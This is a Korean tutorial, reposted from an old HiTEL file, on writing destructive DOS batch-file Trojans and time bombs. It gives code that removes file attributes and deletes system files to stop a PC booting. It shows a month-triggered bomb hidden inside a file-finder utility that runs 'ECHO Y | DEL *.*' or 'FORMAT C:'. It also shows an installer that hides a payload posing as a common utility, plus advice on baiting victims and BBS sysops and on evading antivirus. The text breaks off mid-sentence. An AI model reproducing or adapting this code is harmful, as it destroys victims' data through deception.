\r\n 이 \r\n문서는 제가 옛날에 배치파일 공부할 때 하이텔 어디선가 다운받은 파일인데 누가 작성한 것인지 지금은 오래되어 기억이 나질 \r\n않습니다. \r\n 편집없이 \r\n그대로 옮깁니다. \r\n ▶ 배치파일로 바이러스 제작하기 \r\n 아주 무식하고 단순한 트로이목마를 만들어보자. 지금 만드는것은 아주 초보적인 수준으로 발견즉시 탐지당할수 있으나 발견즉시 피해를 입히며 자폭할것이니 사용하기는 좋다. \r\n\r\n
목적 : 침투즉시 시스템 영역 파괴로 부팅불능 \r\n @ECHO OFF
ATTRIB C:*.* -H -R -S > NUL <= 이줄은 시스템파일의 숨김,읽기전용, 시스템등의 속성을 해제시켜 지우거나 변형이 가능케한다. "> NUL" 은 변형결과가 화면에 안뜨게 \r\n하는것이다. DEL *.SYS < NUL <= 모든 시스템 파일을 지워버린다. \r\n DEL XXX.YYY < NUL <= 본인 스스로 해당 파일명 삭제명령, 역시 보이지않게!! CTTY NUL <= 이것까지 추가하면 시스템이 정지한다. 그래서 부팅해보면 시스템 영역이 파괴되어 작동안한다. ^Z \r\n\r\n 여기에 화면에 어떤 메시지를 띄울수도 있을것이다. \r\n ECHO " 이 컴퓨터는 부팅영역을 나에게 빼앗겼다!! " \r\n 아주 간단하면서 효과는 확실하다. 현재 이건 극히 초보적인 것이나 약간만 응용하여 다른 파일을 지우거나 파일명을 \r\n바꾸어놓는 조작을 할 수 있다. \r\n다만 상대 사용자가 바로 발견할수 있다는것이 단점일것이다. 그래서 이것을 등록하거나 제공하기 앞서 엄청난 것이라는 광고나 어떤 미끼를 \r\n던진다면 확실히 물릴것이다. \r\n 아래는 간단한 파일 찾기 프로그램이다. 여기에 인공지능(?) 타이머를 추가해서 강력한 시한폭탄이 되게 만들 \r\n것이니 일단은 자세히 보고 원리를 이해하기 바란다. 이것들은 지금당장이라도 이름만 바꾸어서 컴파일시켜 자료실에 등록도 할 수 \r\n있는 것이다. 그러니 각별히 사용에 주의를 요한다. \r\n 다음 예제를 살펴보자. \r\n 예) 월 표시 프로그램 \r\n @ECHO OFF GETMONTH.COM <= 월체크 유틸리티 IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 ECHO 12 IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 ECHO 11 IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 ECHO 10 IF ERRORLEVEL 9 IF NOT ERRORLEVEL 10 ECHO 9 IF ERRORLEVEL 8 IF NOT ERRORLEVEL 9 ECHO 8 IF ERRORLEVEL 7 IF NOT ERRORLEVEL 8 ECHO 7 IF ERRORLEVEL 6 IF NOT ERRORLEVEL 7 ECHO 6 IF ERRORLEVEL 5 IF NOT ERRORLEVEL 6 ECHO 5 IF ERRORLEVEL 4 IF NOT ERRORLEVEL 5 ECHO 4 IF ERRORLEVEL 3 IF NOT ERRORLEVEL 4 ECHO 3 IF ERRORLEVEL 2 IF NOT ERRORLEVEL 3 ECHO 2 IF ERRORLEVEL 1 IF NOT ERRORLEVEL 2 ECHO 1 ^Z \r\n\r\n 배치파일의 장점이자 단점이기도 한것이 있다.스스로 완벽하게 작동하지 못한다는 것이다. \r\n때문에 배치를 도와줄 유틸리티가 필요하게 되었다. \r\n사실 C,PASCAL 로 바이러스를 만들어도 어셈블리어로 제작된 유틸리티가 필요한거 보면 대동소이 하지만......... 도스의 DEBUG 란 것으로 제작하는 아주 간단한 유틸리티인데 이미 상당수 공개되었기에 \r\n우린 단지 그것을 찾아서 이용만 하면 된다. 위 프로그램의 맨 첫째줄에 쓰인것이 바로 이것이다. 배치를 컴파일하신후 항상 이 두가지를 같이 사용하셔야 한다. 외부의 GETMONTH.COM 을 파일명을 바꾸셔서 써도 되지만 이때는 반드시 \r\n배치에서도 바꾸어주셔야 한다. \r\n 자, 이것을 실행하면 현재 시스템의 월을 표시해준다. 이것이 우리가 제작하게될 시한폭탄형 바이러스의 헤더부분, \r\n즉. 시스템상태감식 프로그램이다. 폭탄으로 말하면 뇌관정도로 비유될까? \r\n 이것을 활용해서 "트로이&시한폭탄 1호형" 바이러스를 만들어보자. 아래는 일반적으로 활용할 수 있는 파일찾기 프로그램이다. \r\n\r\n @echo off if "%1"=="/?" goto help cd dir %1 /s/p/w/l/o:n goto end :help echo echo Usage : filefind [filename] echo :end \r\n\r\n 이제 위의 둘을 합친 모습을 보자! \r\n @ECHO OFF
GETMONTH.COM <= 시스템 "월" 체크 유틸리티 . 파일명 변경해도 됨-체크할것 IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 GOTO FF IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO FF IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO FF IF ERRORLEVEL 9 IF NOT ERRORLEVEL 10 GOTO FF IF ERRORLEVEL 8 IF NOT ERRORLEVEL 9 GOTO FF IF ERRORLEVEL 7 IF NOT ERRORLEVEL 8 GOTO FF IF ERRORLEVEL 6 IF NOT ERRORLEVEL 7 GOTO FF IF ERRORLEVEL 5 IF NOT ERRORLEVEL 6 GOTO FF IF ERRORLEVEL 4 IF NOT ERRORLEVEL 5 GOTO FF IF ERRORLEVEL 3 IF NOT ERRORLEVEL 4 GOTO VIRUS IF ERRORLEVEL 2 IF NOT ERRORLEVEL 3 GOTO FF IF ERRORLEVEL 1 IF NOT ERRORLEVEL 2 GOTO FF REM 아래부분은 바이러스 코드이다. :VIRUS echo VIRUS !! BOMB!! ECHO Y | DEL *.* > nul <= 중요한 명령 REM 아래 부분은 파일찾기 프로그램 코드이다. :FF if "%1"=="/?" goto help if "%1"=="" goto copyright cd dir %1 /s/p/w/l/o:n goto end echo echo Usage : filefind [filename] echo :end \r\n\r\n 자 이제 자세히 설명해보자. 임의로 체크를 3월달로 맞추어 놓았다. 자기 마음대로 1,2,3,4,5....... 고쳐 놓을수 있다. GETMONTH 말고 시간,일자 등으로 얼마든지 변경이 가능하다. 처음에 이 프로그램을 실행하면 시스템의 월(조건변경가능!)을 체크하여 조건에따라 \r\n정상적인 파일찾기 기능이 수행되나 임의로 지정한 3월이 되면 GOTO 분기에 의해 \r\n바이러스 코드 부분을 실행한다. 이 바이러스 코드부분에는 여지껏 배운내용을 응용하여 얼마든지 집어넣을수 있다. 이줄 ECHO Y | DEL *.* 은 \r\n모든 파일을 삭제하라거나, 포맷을 행할때는 반드시 물어보는 YES/NO 를 임의로 YES로 \r\n지정하기 위해 들어간 줄이다. 이렇게 명령을 주면 프로그램은 자동적으로 사용자에게 질문 않고 직접 실행시켜 버리니 \r\n소잃고 외양간도 못고치는 격이다. \r\n
다른 예로, ECHO Y | FORMAT C: 라고 할수도 있다. ECHO 다음에 N 으로 하면 절대 포맷이 안된다. 그리고 | 는 엔터를 친것처럼 한다는 파이프라고 위에서 설명했다. 자신의 응용가능 여하에따라 얼마든지 변경이 가능하다. 단, 되도록이면 이렇게 한번에 하는것보다는 확장자만 골라서 집중적으로 파괴하는 \r\n것이 \r\n더 효과적이다. 왜냐면, 이런 방식으로 하다간 가끔 시스템이 다운되거나 무한루프에 빠질수도있으니깐..... \r\n 만약 자신이 어떤 프로그램이나 게임등에 이런 바이러스 코드를 첨가시켜 전파시키는 방법도 있다. \r\n\r\n 방법은, 유명게임이나 유명 유틸리티 등에 자신이 직접 인스톨 프로그램을 작성하여 \r\n첨가시키는 것이다. \r\n 예) 간단한 인스톨 프로그램 ( 프로그램은 C:PRPROG.ARJ 로 되어있다고 치자.) \r\n\r\n 1) 첫번째 필요한 소스 \r\n INSTALL.BAT <= 컴파일시켜 실행파일로 만들면 된다. \r\n @ECHO OFF
ARJ X PROG.ARJ <= COPY 나 다른것으로 바꿔도 된다. REM 아래 부분부터 숨겨서 침투시키는 내용 ATTRIB +R +H M.COM <= 이러면 숨긴다. COPY M.COM C:. <= 루트디렉토리에 숨긴다. ^Z \r\n\r\n 일단은 디렉토리에 풀릴것이다. \r\n
아래것은 저번 시간에 공부한 조건형태의 한 형태이다. 이것을 다른 정상유틸형태로 위장한 변형말고 아무런 반응이 없다가 지정한 조건시에 \r\n작동하도록 해보자. \r\n
2) 두번째 필요한 소스 \r\n M.BAT 나 NCD.BAT <= 컴파일시켜 M.COM or NCD.COM 으로한다. \r\n\r\n @ECHO OFF
GETMONTH.COM <= 시스템 "월" 체크 유틸리티 . 대체 가능 IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 GOTO M 이나 NCD 로 위장한다. IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO M IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO M IF ERRORLEVEL 9 IF NOT ERRORLEVEL 10 GOTO M IF ERRORLEVEL 8 IF NOT ERRORLEVEL 9 GOTO M IF ERRORLEVEL 7 IF NOT ERRORLEVEL 8 GOTO M IF ERRORLEVEL 6 IF NOT ERRORLEVEL 7 GOTO M IF ERRORLEVEL 5 IF NOT ERRORLEVEL 6 GOTO M IF ERRORLEVEL 4 IF NOT ERRORLEVEL 5 GOTO M IF ERRORLEVEL 3 IF NOT ERRORLEVEL 4 GOTO VIRUS IF ERRORLEVEL 2 IF NOT ERRORLEVEL 3 GOTO M IF ERRORLEVEL 1 IF NOT ERRORLEVEL 2 GOTO M :VIRUS REN C:PRXXX.DAT XXX.COM <= 예전에 인스톨해놓았던 C:PR 디렉토리에 숨겨진파일을 다시 꺼내서 실행하게끔 한다. DEL XXX.COM <= 자체파괴 DEL M.COM <= 자체파괴 / 파일명 변경가능하다. :M M.EXE 나 NCD.EXE :END \r\n\r\n 왜 NCD.COM 이나 M.COM 으로 하냐면,전에 항상 실행파일은 COM -> EXE -> BAT 순서라고 했죠? NCD.EXE / M.EXE 는 AUTOEXEC.BAT 에 항상 따라온다. 이거 안쓰는 사람있음 나와보라구해~~ AUTOEXEC.BAT 는 매일 자동실행되는법~~ 그래서, 이렇게 COM 으로 만들어 숨겨두면 찾지도 못할뿐더러 파일명이 같으니 \r\n대개 그냥 넘어가버린다. 실행해봤자 3월이 되기전이라면 바로 M.EXE 로 넘겨 버리니까 절대 안걸릴것이다. \r\n 3) 세번째 소스 \r\n
세번째에서는 여지껏 배운 방법을 동원하여 각자 입맛에 맞게 짜기바란다. \r\n 이방법이 약간 복잡할수있다. 만약, 상대가 전달받은 프로그램을 곧 지워버릴수 있을것이다. 그러면, 해당디렉토리의 XXX.DAT 같이 위장해놓은 파일을 아에 첨부터 \r\n루트에 카피해놓으셔도 무방하다. 전달받은 프로그램을 지워도 이것들은 살아남아 끝까지 박살낼테니깐....... \r\n *좀더 단순화 시켜서 XXX.DAT 를 아에 M.COM 내부에 설치할수도 있다. \r\n\r\n 배치파일 제작 바이러스 후기 \r\n
이렇게 배치파일로 제작된 트로이목마 & 시한폭탄 형 바이러스는 절대로 V3 나 \r\nTB 혹은 트로이목마 검색 프로그램으로 안걸린다는걸 보장한다!! 대부분의 백신들은 어셈블리로 제작되어 어셈블리 루틴값을 체크하거나 쓰기할 \r\n때 잡지만 배치로는 그렇게 고난도 기술을 요하지 않고도 교묘히 빠져나가며 수행하기 때문이다. \r\n즉, 약이 없다. 일일이 에디트로 뜯어보기전에는 모를 것이다. \r\n하지만 전파력이 약하다는것이 단점이라고 하겠다. 그러나 원래 트로이목마 바이러스 라는게 불특정 다수의 전파보다는 특정한 하나의 대상을 파괴하는데 목적이 있기때문에 전혀 문제될것은 아니다. \r\n\r\n 간단한 형태로 SEX.COM 이런식으로 만들어서 즉각 반응형으로 해도 효과는 좋을것이다. 파일명 저런데 실행안해볼 사람은 없기 때문이다. \r\n판도라의 상자일 것이다. \r\n 사설 비비에스 해킹이야 위의 자료를 등록한후 시삽이 실행하기만 기다리면 되는것이다. \r\n\r\n 위에 열거한 각종 테크닉을 이용한다면 강력한 트로이목마형 |